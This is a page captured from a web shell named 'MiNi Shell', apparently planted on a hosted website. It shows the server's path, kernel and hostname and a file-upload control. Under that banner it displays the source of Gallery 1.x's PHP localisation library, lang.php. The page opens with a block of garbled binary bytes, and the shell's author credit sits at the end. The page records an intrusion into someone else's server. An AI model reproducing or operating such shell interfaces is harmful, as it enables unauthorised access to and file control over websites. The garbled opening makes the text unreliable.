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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/thread-self/root/hermes/sb_web/b2815/1000stickers.com/Gallery/lib/

Linux boscustweb5003.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //proc/thread-self/root/hermes/sb_web/b2815/1000stickers.com/Gallery/lib/lang.php

<?php
/*
 * Gallery - a web based photo album viewer and editor
 * Copyright (C) 2000-2005 Bharat Mediratta
 * 
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or (at
 * your option) any later version.
 * 
 * This program is distributed in the hope that it will be useful, but
 * WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * General Public License for more details.
 * 
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 *
 * $Id: lang.php,v 1.43.2.3 2005/03/10 02:30:08 cryptographite Exp $
 */
?>
<?php

/*
** This function is a wrapper around ngettext for two reasons
** 1.) We can use %s and %d in translation
** 2.) We can use a special "none" without modifying the plural definition.
** Note: The redundant $count is always needed, when you use %d
**
** Example of normal use:
** pluralize_n2(ngettext("1 car", "5 cars", $numCars), $numCars, _("No cars"));
*/
function pluralize_n2($singPlu, $count, $none='') {
	if ($count == 0 && $none != '') {
		return $none;
	} else {
		return sprintf($singPlu, $count);
	}
}


/* Detect the first Language of users Browser
** Some Browser only send 2 digits like he or de.
** This is caught later with the aliases
*/
function getBrowserLanguage() {
	if (isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])) {
		$lang = explode (",", $_SERVER["HTTP_ACCEPT_LANGUAGE"]);

		/* Maybe there are some extra infos we dont need, so we strip them. */
		$spos=strpos($lang[0],";");
		if ($spos >0) {
			$lang[0]=substr($lang[0],0,$spos);
		}
		
		/* browser may send aa-bb, then we convert to aa_BB */
		$lang_pieces=explode ("-",$lang[0]);
		if (strlen($lang[0]) >2) {
			$browserLang=strtolower($lang_pieces[0]). "_".strtoupper($lang_pieces[1]) ;
		} else {
			$browserLang=$lang[0];
		}
	}
	else {
		$browserLang=false;
	}
	
	return $browserLang;
}


/*
** Set Gallery Default:
** - language
** - charset
** - direction
** - alignment
*/
function setLangDefaults($nls) {
	global $gallery;

	$gallery->language 	= 'en_US';
	$gallery->charset  	= $nls['default']['charset'];
	$gallery->direction	= $nls['default']['direction'];
	$gallery->align		= $nls['default']['alignment'];
}

/*
** This function tries to get the languge given by the Environment.
** if no language is found, or Gallery was not able to get it, NULL is returned.
*/
function getEnvLang() {

	global $GALLERY_EMBEDDED_INSIDE_TYPE;

	global $board_config;				/* Needed for phpBB2 	*/
	global $_CONF;					/* Needed for GeekLog	*/
	global $mosConfig_locale;			/* Needed for Mambo	*/
	global $currentlang;				/* Needed for CPGNuke	*/

	$envLang = NULL;

	switch ($GALLERY_EMBEDDED_INSIDE_TYPE) {
		case 'postnuke':
			if (isset($_SESSION['PNSVlang'])) {
				$envLang = $_SESSION['PNSVlang'];
			}
		break;

		case 'phpnuke':
		case 'nsnnuke':
			if (isset($_COOKIE['lang'])) {
				$envLang = $_COOKIE['lang'];
			}

		break;

		case 'phpBB2':
			if (isset($board_config['default_lang'])) {
				$envLang = $board_config['default_lang'];
			}				
		break;

		case 'GeekLog':
			/* Note: $_CONF is not a Superglobal ;) */
			if (isset($_CONF['language'])) {
				$envLang = $_CONF['language'];
			} else if (isset($_CONF['locale'])) {
				$envLang = $_CONF['locale'];
			}				
		break;

		case 'mambo':
			if (isset($mosConfig_locale)){
				$envLang = $mosConfig_locale;
			}				
		break;

		case 'cpgnuke':
			if (isset($currentlang)){
				$envLang = $currentlang;
			}				
		break;

		default:
			return NULL;
		break;
	}

	return $envLang;
}

/*
** In some Environments we dont want to allow the user
** to change the language.
** In this case we override Mode 3 with Mode 1 and
** Gallery runs in the language the Environment use.
*/
function forceStaticLang() {
	global $GALLERY_EMBEDDED_INSIDE_TYPE;
	global $gallery;

	$useStatic=array('mambo', 'phpBB2', 'GeekLog');

	if (in_array($GALLERY_EMBEDDED_INSIDE_TYPE, $useStatic)) {
		$gallery->app->ML_mode=1;
	}
}	

function initLanguage($sendHeader=true) {
	static $languages_initialized = false;

	global $gallery, $GALLERY_EMBEDDED_INSIDE, $GALLERY_EMBEDDED_INSIDE_TYPE;

	// $locale is *NUKEs locale var
	global $locale ;

	$nls = getNLS();

	/* Set Defaults, they may be overwritten. */
	setLangDefaults($nls);

	// before we do any tests or settings test if we are in mode 0
	// If so, we skip language settings at all

	// Mode 0 means no Multilanguage at all.
	if (isset($gallery->app->ML_mode) && $gallery->app->ML_mode == 0 && !$languages_initialized) {
		// Maybe PHP has no (n)gettext, then we have to substitute _() and ngettext
		if (!gettext_installed()) {
			function _($string) {
				return $string ;
			}
		}
		if (!ngettext_installed()) {
			function ngettext($singular, $quasi_plural,$num=0) {
                       		if ($num == 1) {
                               		return $singular;
	                        } else {
       		                        return $quasi_plural;
               		        }
			}
		}

		/* Skip rest*/
		$languages_initialized = true;
		return;
	}


	/* 
	** Does the user wants a new lanuage ?
	** This is used in Standalone and *Nuke
	*/
	if (isset($_GET['newlang'])) {
		$newlang=$_GET['newlang'];
	}

	/**
	 ** Note: ML_mode is only used when not embedded
	 **/

	if (isset($GALLERY_EMBEDDED_INSIDE_TYPE)) {
		/* Gallery is embedded

		/* Gallery can set nukes language.
		** For phpBB2, GeekLog and Mambo this is not possible, Gallery will always use their language.
		*/
		forceStaticLang();

		if (!empty($newlang)) {
			// Set Language to the User selected language.
			$gallery->language=$newlang;
		} else {
			/* No new language.
			** Lets see in which Environment were are and look for a language.
			** Lets try to determ the used language
			*/ 
			$gallery->language = getEnvLang();
		}
	} else {
		// We're not embedded.
		// If we got a ML_mode from config.php we use it
		// If not we use Mode 2 (Browserlanguage)

		if (isset($gallery->app->ML_mode)) {
			$ML_mode=$gallery->app->ML_mode;
		} else {
			$ML_mode=2;
		}

		switch ($ML_mode) {
			case 1:
				//Static Language
				$gallery->language = $gallery->app->default_language;
				break;
			case 3:
				// Does the user want a new language ?
				if (!empty($newlang)) {
					// Set Language to the User selected language.
					$gallery->language=$newlang;
				} elseif (isset($gallery->session->language)) {
					//maybe we already have a language
					$gallery->language=$gallery->session->language;
				} elseif (isset($gallery->app->default_language)) {
					// Maybe we have a defaultlanguage set in config.php
		                        $gallery->language = $gallery->app->default_language;
				}
				break;
			default:
				// Use Browser Language or Userlanguage 
				// when mode 2 or any other (wrong) mode

				$gallery->browser_language=getBrowserLanguage();

				if (!empty($gallery->user) && $gallery->user->getDefaultLanguage() != "") {
					$gallery->language = $gallery->user->getDefaultLanguage();
				} elseif (isset($gallery->browser_language)) {
					$gallery->language=$gallery->browser_language;
				}
				break;
		}
	}

	// if an alias for the (new or Env) language is given, use it
	if (isset($nls['alias'][$gallery->language])) {
		$gallery->language = $nls['alias'][$gallery->language] ;
	}

	/**
	 **  Fall back to Default Language if :
	 **	- we cant detect Language
	 **	- Nuke/phpBB2 sent an unsupported
	 **	- User sent an undefined
	 **/

	if (! isset($nls['language'][$gallery->language])) {
		if (isset($gallery->app->default_language)) {
			$gallery->language = $gallery->app->default_language;
		} elseif(isset($gallery->browser_language)) {
			$gallery->language = $gallery->browser_language;
		} else {
			// when we REALLY REALLY cant detect a language
			$gallery->language="en_US";
		}
	}

	// And now set this language into session
	$gallery->session->language = $gallery->language;

	// locale
	if (isset($gallery->app->locale_alias[$gallery->language])) {
		$gallery->locale=$gallery->app->locale_alias["$gallery->language"];
	} else {
		$gallery->locale=$gallery->language;
	}

	// Override NUKEs locale :)))	
	$locale=$gallery->locale;

	// Check defaults :
	$checklist=array('direction', 'charset', 'alignment') ;

	/*
	** This checks wether the previously defined values are available.
	** All available values are in $nls
	** If they are not defined we used the defaults from nls.php
	*/
	foreach($checklist as $check) {
		// if no ... is given, use default
		if ( !isset($nls[$check][$gallery->language])) {
			$gallery->$check = $nls['default'][$check] ;
		} else {
			$gallery->$check = $nls[$check][$gallery->language] ;
		}
	}

	// When all is done do the settings
	
	// There was previously a != SUNOS check around the LANG= line.  We've determined that it was
	// probably a bogus bug report, since all documentation says this is fine.
	putenv("LANG=". $gallery->language);
	putenv("LANGUAGE=". $gallery->language);
	// This line was added in 1.5-cvs-b190 to fix problems on FreeBSD 4.10
	putenv("LC_ALL=". $gallery->language);

	// Set Locale
	setlocale(LC_ALL,$gallery->locale);

	/* 
	** Set Charset header
	** We do this only if we are not embedded and the "user" wants it.
	** Because headers might be sent already.
	*/
	if (! isset($GALLERY_EMBEDDED_INSIDE) || $sendHeader == false) {
		header('Content-Type: text/html; charset=' . $gallery->charset);
	}

	/*
	** Test if we're using gettext.
	** if yes, do some gettext settings.
	** if not emulate _() function or ngettext()
	**/

	if (gettext_installed()) {
		$bindtextdomain=bindtextdomain($gallery->language. "-gallery_". where_i_am(), dirname(dirname(__FILE__)) . '/locale');
		textdomain($gallery->language. "-gallery_". where_i_am());

	} elseif (!$languages_initialized) {
		emulate_gettext();
	}

	// We test this separate because ngettext() is only available in PHP >=4.2.0 but _() in all PHP4
	if (!ngettext_installed() && !$languages_initialized) {
		emulate_ngettext();
	}

	$languages_initialized = true;
}


function getTranslationFile() {

	global $gallery;
	static $translationfile;

	if (empty($translationfile)) {
		$filename=dirname(dirname(__FILE__)) . '/locale/' . $gallery->language . '/'. $gallery->language . '-gallery_' .  where_i_am()  . '.po';
		$translationfile=file($filename);
	}

return $translationfile;
}

/* Substitute ngettext function
** NOTE: this is the first primitive Step !!
** It fully ignores the plural definition !!
*/
function emulate_ngettext() {


	global $translation;
	global $gallery;

	if (in_array($gallery->language,array_keys(gallery_languages())) &&
		$gallery->language != 'en_US') {
		$lines=getTranslationFile();
		foreach ($lines as $key => $value) {
		//We trim the String to get rid of cr/lf
			$value=trim($value);
			if (stristr($value, "msgid") && ! stristr($lines[$key-1],"fuzzy") && !stristr($value,"msgid_plural")) {
//				echo "\n<br>---SID". $value;
//					echo "\n<br>---PID". $lines[$key+1];
				if (stristr($lines[$key+1],"msgid_plural")) {
					$singular_key=substr($value, 7,-1);
					$translation[$singular_key]=substr(trim($lines[$key+2]),11,-1);
					$plural_key=substr(trim($lines[$key+1]), 14,-1);
					$translation[$plural_key]=substr(trim($lines[$key+3]),11,-1);
//	echo "\n<br>SK". $singular_key;
//	echo "\n<br>ST". $translation[$singular_key];
//	echo "\n<br>PK". $plural_key;
//	echo "\n<br>PT". $translation[$plural_key];
				}
			}
		}
		// Substitute ngettext() function
		function ngettext($singular, $quasi_plural,$num=0) {
//			echo "\n<br>----";
//			echo "\nSL: $singular, PL: $quasi_plural, N: $num";
			if ($num == 1) {
				if (! empty($GLOBALS['translation'][$singular])) {
					return $GLOBALS['translation'][$singular] ;
				} else {
					return $singular;
				}
			}
			else {
				if (! empty($GLOBALS['translation'][$quasi_plural])) {
					return $GLOBALS['translation'][$quasi_plural] ;
				}
				else {
					return $quasi_plural;
				}
			}
		}
	}
	else {
		// There is no translation file or we are using original (en_US), so just return what we got
		function ngettext($singular, $quasi_plural,$num=0) {
			if ($num == 1) {
				return $singular;
			} else {
				return $quasi_plural;
			}
		}
	}
}

function emulate_gettext() {
	global $translation;
	global $gallery;

	if (in_array($gallery->language,array_keys(gallery_languages())) &&
		$gallery->language != 'en_US') {
		$filename=dirname(dirname(__FILE__)) . '/locale/' . $gallery->language . '/'. $gallery->language . '-gallery_' .  where_i_am()  . '.po';
		$lines=file($filename);

		foreach ($lines as $key => $value) {
			/* We trim the String to get rid of cr/lf */
			$value=trim($value);
			if (stristr($value, "msgid") 
				&& ! stristr($lines[$key-1],"fuzzy") 
				&& ! stristr($lines[$key],"msgid_plural")
				&& ! stristr($value,"msgid_plural")) {
				$new_key=substr($value, 7,-1);
				$translation[$new_key]=substr(trim($lines[$key+1]),8,-1);
//		echo "\n<br>NK". $new_key;
//		echo "\n<br>NT". $translation[$new_key];
			}
		}
		// Substitute _() gettext function
		function _($search) {
			if (! empty($GLOBALS['translation'][$search])) {
				return $GLOBALS['translation'][$search] ;
			}
			else {
				return $search;
			}
		}
	}
	// There is no translation file or we are using original (en_US), so just return what we got
	else {
		function _($search) {
			return $search;
		}
	}
}

function gettext_installed() {
	if (in_array("gettext", get_loaded_extensions()) && function_exists('gettext') && function_exists('_')) {
		return true;
	}
	else {
		return false;
	}
}

function ngettext_installed() {
	if (in_array("ngettext", get_loaded_extensions()) || function_exists('ngettext')) {
		return true;
	}
	else {
		return false;
	}
}


/* returns all languages in this gallery installation */
function gallery_languages() {
	$nls = getNLS();
	return $nls['language'];
}

/* returns all language relative that gallery could collect. */
function getNLS() {
    static $nls;

    if (empty($nls)) {
    	$nls = array();
	// Load defaults
	include (dirname(dirname(__FILE__)) . '/nls.php');

	$modules = array('config','core');
	$dir = dirname(dirname(__FILE__)) . '/locale';
	if (fs_is_dir($dir) && is_readable($dir) && $handle = fs_opendir($dir)) {
	    while ($dirname = readdir($handle)) {
	    	if (ereg("^([a-z]{2}_[A-Z]{2})", $dirname)) {
		    $locale = $dirname;
		    $fc = 0;
		    foreach ($modules as $module) {
		    	if (gettext_installed()) {
			    if (fs_file_exists(dirname(dirname(__FILE__)) . "/locale/$dirname/$locale-gallery_$module.po")) $fc++;
			} else {
			    if (fs_file_exists(dirname(dirname(__FILE__)) . "/locale/$dirname/LC_MESSAGES/$locale-gallery_$module.mo")) $fc++;
			}
		    }
		    if (fs_file_exists(dirname(dirname(__FILE__)) . "/locale/$dirname/$locale-nls.php") && $fc==sizeof($modules)) {
		    	include (dirname(dirname(__FILE__)) . "/locale/$dirname/$locale-nls.php");
		    }
		}
	    }
	    closedir($handle);
	}
    }

    return $nls;
}

function i18n($buf) {
       	return $buf;
}


function isSupportedCharset($charset) {
	$supportedCharsets=array(
		'UTF-8',
		'ISO-8859-1',
		'ISO-8859-15',
		'cp1252',
		'BIG5',
		'GB2312',
		'BIG5-HKSCS',
		'Shift_JIS',
		'EUC-JP'
	);

	$supportedCharsetsNewerPHP=array(
		'cp866',
		'cp1251',
		'KOI8-R'
	);

        /*
        ** Check if we are using PHP >= 4.1.0
        ** If yes, we can use 3rd Parameter so e.g. titles in chinese BIG5 or UTF8 are displayed correct.
        ** Otherwise they are messed.
        ** Not all Gallery Charsets are supported by PHP, so only thoselisted are recognized.
        */
	if (function_exists('version_compare')) {
		if ( (version_compare(phpversion(), "4.1.0", ">=") && in_array($charset, $supportedCharsets)) ||
		     (version_compare(phpversion(), "4.3.2", ">=") && in_array($charset, $supportedCharsetsNewerPHP)) ) {
			return true;
		} else {
			// Unsupported Charset
			return false;
		}
	} else {
		// PHP too old
		return false;
	}
}
	
/* Gallery Version of htmlentities
** Enhancement: Depending on PHP Version and Charset use 
** optional 3rd Parameter of php's htmlentities
*/
function gallery_htmlentities($string) {
	global $gallery;

	if (isSupportedCharset($gallery->charset)) {
		return htmlentities($string,ENT_COMPAT ,$gallery->charset);
	} else {
		return htmlentities($string);
        }
}

/*
** Convert all HTML entities to their applicable characters
*/
function unhtmlentities ($string) {
	global $gallery;

	if (empty($string)) {
		return "";
	}

	if (function_exists('html_entity_decode')) {
		$nls=getNLS();
		if (isset ($nls['charset'][$gallery->language])) {
			$charset=$nls['charset'][$gallery->language];
		} else {
			$charset=$nls['default']['charset'];
		}

		if (isSupportedCharset($charset) && strtolower($charset) != 'utf-8') {
			$return = html_entity_decode($string,ENT_COMPAT ,$charset);
		}
		else {
			// For unsupported charsets you may do this:
			$trans_tbl = get_html_translation_table (HTML_ENTITIES);
			$trans_tbl = array_flip ($trans_tbl);
			$return = strtr ($string, $trans_tbl);
		}
	} else {
		// For users with PHP prior to 4.3.0 you may do this:
		$trans_tbl = get_html_translation_table (HTML_ENTITIES);
		$trans_tbl = array_flip ($trans_tbl);
		$return = strtr ($string, $trans_tbl);
	}

return $return;
}

/* These are custom fields that are turned on and off at an album
 * level, and are populated for each photo automatically, without the
 * user typing values.  The $value of each pair should be translated
 * as appropriate in the ML version.
 */
function automaticFieldsList() {
        return array(
		'Upload Date' 	=> _("Upload Date"),
                'Capture Date' 	=> _("Capture Date"),
                'Dimensions' 	=> _("Image Size"),
                'EXIF' 		=> _("Additional EXIF Data"));
}

/* These are custom fields which can be entered manual by the User
** Since they are used often, we translated them.
*/
function translateableFields() {
	return array(
		'Title'		=> _("Title"),
		'Description'	=> _("Description"),
		'description'	=> _("description"),
		'AltText'	=> _("Alt Text / onMouseOver")
	);
}

?>

Creat By MiNi SheLL
Email: devilkiller@gmail.com